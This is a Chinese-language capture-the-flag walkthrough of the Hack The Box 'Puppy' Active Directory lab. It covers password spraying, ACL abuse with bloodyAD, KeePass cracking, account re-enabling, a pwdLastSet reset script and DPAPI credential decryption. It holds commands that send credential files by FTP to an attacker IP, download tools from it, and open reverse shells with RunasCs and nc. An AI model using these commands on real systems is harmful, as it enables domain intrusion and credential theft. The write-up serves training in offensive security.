HTB 赛季8靶场 - Puppy

发布于:2025-05-21 ⋅ 阅读:(32) ⋅ 点赞:(0)

在这里插入图片描述

nmap扫描全端口

Nmap scan report for 10.129.243.117
Host is up, received echo-reply ttl 127 (0.47s latency).
Scanned at 2025-05-18 21:12:56 EDT for 551s
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-19 08:17:50Z)
111/tcp   open  rpcbind?      syn-ack ttl 127
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|_  100003  2,3         2049/udp6  nfs
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2049/tcp  open  mountd        syn-ack ttl 127 1-3 (RPC #100005)
3260/tcp  open  iscsi?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
54668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-19T08:19:55
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 55057/tcp): CLEAN (Timeout)
|   Check 2 (port 40598/tcp): CLEAN (Timeout)
|   Check 3 (port 41563/udp): CLEAN (Timeout)
|   Check 4 (port 2886/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h02m33s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

nfs探测

靶场开始就给了我们用户levi.james / KingofAkron2025!,我们先尝试访问nfs

smb探测

我们使用nxc快速了解smb
在这里插入图片描述

Bloodhound 探测

我们成功探测了smb,所以直接去LDAPserver 提取相关路径,开始分析攻击路线。

bloodhound-python -d puppy.htb -dc dc.puppy.htb -c All -u levi.james -p KingofAkron2025! --dns-timeout 10

在这里插入图片描述

我们添加找到的信息,到bloodhound
在这里插入图片描述
]

攻击路线分析

首先了解我们是谁,我们是隶属于MANPOWER的OU,这可能意味着我们有点能力?我们还是HR,HR貌似拥有对DEVELOPERS组的GenericWrite权限,这意味着我们能够加入DEVELOPERS组。
![[Pasted image 在这里插入图片描述
加入Developer组后,我并没有发现有趣的ACL东西。这里面可能隐藏这什么!我们看看developer组有哪些人员。
在这里插入图片描述

DEVELOPER组内成员并没有高级权限。接下来我们在全局来判定高价值用户,STEPH.COOPER_ADM这个用户显得非常有趣,我们将重点关注,看看他的权限情况。
在这里插入图片描述

他的上游好像没什么特别的。
在这里插入图片描述

我们看看STEPH.CHOOPER_ADM是否有STEPH.CHOOPER用户,发现存在。他两必然存在着一些联系。
在这里插入图片描述

这个用户拥有远程登录权限,并且和域控管理员账号相关,这个人将变得非常有意思。我设置为高价值用户。这个用户的上游也没有什么特别的。
![[Pasted image 在这里插入图片描述
首先进行一下密码喷洒吧,看看有没有别的收获。

levi.james / KingofAkron2025!
└─$ kerbrute passwordspray --dc dc.puppy.htb -d puppy.htb users 'KingofAkron2025!' -v

在这里插入图片描述

发现adam这个用户是锁定的,也就是说是失效用户,这种用户通常意味着机会。经过探查adam是developer组的,我们看看他的情况。我认为这三个都非常有趣,我们可能会在他们身上获取一些东西,因为SMB中有DEV组才能访问的内容。所以我将他们列入了重点关注对象。
在这里插入图片描述

在尝试获取SMB分享之前,我们看看用户密码修改时间的情况

cat 20250519051259_users.json | jq | grep 'pwdLastSet'

在这里插入图片描述

在这里插入图片描述

以新用户组身份尝试SMB分享

可以看到密码并非脚本修改,也就是说密码不会存在复用情况,我们得进一步慢慢探查。到此我们知道developer用户组里面有几个用户我们非常感兴趣,并且developer组很可能能够访问DEV的smb分享。我们先去smb分享看看。


levi.james / KingofAkron2025!

###添加LEVI B.JAMES到developer组
bloodyAD -d puppy.htb -u levi.james -p KingofAkron2025! --dc-ip 10.129.243.117 add groupMember DEVELOPERS levi.james

###smbclient 连接dev库
impacket-smbclient levi.james@dc.puppy.htb


在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Keepass2john变种 keepass4brute爆破.kdbx文件

嗯哼如我们所料,我们成功拿取里面的文件。这些文件里面是KeePass和相关的密码,这个是一个密码管理程序,他将带领我们走向胜利。我们发现了不寻常的地方。keepass2john无法正常使用,经过查询,我们发现了解决办法[[https://0xdf.gitlab.io/hackvent2024/hard#]],我们使用keepass4brute.sh完成攻击,发现密码。
在这里插入图片描述

先直接密码喷洒一下,没有成功。
在这里插入图片描述

那么我们有必要下载msi安装好,然后查看密码。kali也可以直接下载keepassxc完成相应操作。
在这里插入图片描述

HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!

以新密码进行喷洒

现在我们把这些密码全部喷洒一下,我们仅成功了一个用户
在这里插入图片描述

ant.edwards@puppy.htb:Antman2025!

这个用户在我们眼里是高价值用户,因为在之前我们已经从bloodhound了解到他可以导致我们获取远程的能力。
在这里插入图片描述

开启禁用用户&修改用户所有者&强制修改用户密码

那么接下来我们先获取ADAM用户

###开启ADAM用户
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver

###修改ADAM账户
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 set owner adam.silver ant.edwards

bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 set password adam.silver Adam@2025!

绕过密码最短修改周期限制

这一步我们发现了问题,貌似修改周期并不允许我们修改密码
在这里插入图片描述

所以我们需要修改pwdlastset的时间戳,来绕过这个限制。pwdlastsetChagne.py脚本如下

import ldap3 
server = ldap3.Server('10.129.243.117', port =389, use_ssl = False)  
connection = ldap3.Connection(server, 'CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB', 'Antman2025!', auto_bind=True) 
connection.bind()
connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' 
connection.modify('CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB',{'pwdLastSet': [(ldap3.MODIFY_REPLACE, ['0'])]})

重新修改密码

python pwdlastsetChagne.py

bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.111 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver

bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.111 set password adam.silver Wobujidele1997@123

evil-winrm -i dc.puppy.htb -u adam.silver -p Wobujidele1997@123

在这里插入图片描述

在这里插入图片描述

winrm远程登录

evil-winrm -i dc.puppy.htb -u adam.silver -p Wobujidele1997@123
nxc winrm 10.129.243.117 -u adam.silver -p Wobujidele1997@123

成功获取PSshell
在这里插入图片描述

这里我们看到用户有一个Microsoft Edge浏览器的链接,这很可能意味着浏览器里面有秘密,也就是DPAPI。搭建下载Winpeas 先快速扫描。

(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/winPEASx64.exe','C:\Users\adam.silver\desktop\winPEASx64.exe')

DPAPI密码泄露

运行完winPEASx64之后,我们发现了一些有趣的隐藏文件,这非常类似于DPAPI,我们去瞅瞅
在这里插入图片描述

Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\adam.silver\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Local\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105

我们发现了masterkey文件,也就是说DPAPI是可以完成解密的
在这里插入图片描述

确定攻击路线为DPAPI,我们开始攻击。

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/1038bdea-4935-41a8-a224-9b3720193c86', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\1038bdea-4935-41a8-a224-9b3720193c86')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/DFBE70A7E5CC19A398EBF1B96859CE5D-DESKTOP', 'C:\Users\adam.silver\Desktop\DFBE70A7E5CC19A398EBF1B96859CE5D')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/DFBE70A7E5CC19A398EBF1B96859CE5D','C:\Users\adam.silver\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/BK-PUPPY', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\BK-PUPPY')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/Preferred', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\Preferred')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/CREDHIST', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\CREDHIST')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/SYNCHIST', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\SYNCHIST')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/link.lnk', 'C:\Users\adam.silver\desktop\Microsoft/ Edge.lnk')

我们成功解密DPAPI的masterkey

impacket-dpapi masterkey -t puppy.htb/adam.silver:'Wobujidele1997@123'@10.129.244.111 -file 1038bdea-4935-41a8-a224-9b3720193c86 

在这里插入图片描述

我们成功解密桌面的DPAPI文件,和CREDHIST文件,没有啥重要内容

impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key '0x67c93a5831a5d17bae13deb6ef3324f5c97abd363d8f146f5ac79f07fb2b2c0eb21433fcf211c15af4e79c1c72a512d3c8f181433b1fa50e78e7e146c27230ae'

ASREP攻击

我们尝试发起ASREP攻击,获取到了凭证hash但是破解失败。

(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/LaZagne.exe','C:\Users\adam.silver\desktop\LaZagne.exe')

bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.94 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver

bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.94 add uac -f DONT_REQ_PREAUTH adam.silver

impacket-GetNPUsers PUPPY/adam.silver -dc-ip 10.129.244.94 -no-pass

我们转向本地的2049端口,我们将2049端口转发,我们尝试连接未发现任何东西,可能是权限不足。或者2049没有绑定的内容。

(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/chisel.exe','C:\Users\adam.silver\desktop\chisel.exe')

sudo ./chisel server --reverse -v -p 1234 --socks5
./chisel.exe client -v 10.10.16.3:1234 R:socks

我们还发现一个有趣的点,我们发现user文件夹处,有ant这个用户,并且这个用户必adam权限要高,只是不能远程。所以我们有必要runascs成为ant用户看看

(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/RunasCs.exe','C:\Users\adam.silver\desktop\RunasCs.exe')

.\RunasCs.exe "ant.edwards" 'Antman2025!' powershell.exe -r 10.10.16.3:9001

.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3 --remote-impersonation -r 10.10.16.3:9001

.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3 --remote-impersonation -c "whoami > C:\Users\adam.silver\Desktop\test.txt"

.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3

runas.exe /env /noprofile /user:'ant.edwards' 'Antman2025!' "C:\Users\adam.silver\desktop\nc.exe -nc 10.10.16.3 4444 -e cmd.exe"

依旧没能执行成功,我们开始尝试翻找文件,我们在C:\backups中发现了一个有趣的文件,好像是一个网站的备份。我们想进去看看配置文件,发现了这个

        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>

在这里插入图片描述

我们进入查询DPAPI

Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Get-ChildItem C:\Users\steph.cooper\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Local\Microsoft\Protect\

在这里插入图片描述

我们拥有密码所以我们可以直接窃取DPAPI中的密码

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/556a2412-1275-4ccf-b721-e6a0b4f90407', 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407')

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/C8D69EBE9A43E9DEBF6B5FBD48B521B9', 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9')

我们下载好两个文件到攻击机,然后首先先破解masterkey

└─$ impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -t puppy.htb/steph.cooper:'ChefSteph2025!'@10.129.244.111

在这里插入图片描述


(uploadserver) ┌──(uploadserver)─(kali㉿kali)-[~/Desktop/HTB/puppy/ftp]
└─$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'

在这里插入图片描述

我们获取了system权限的账户。

Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到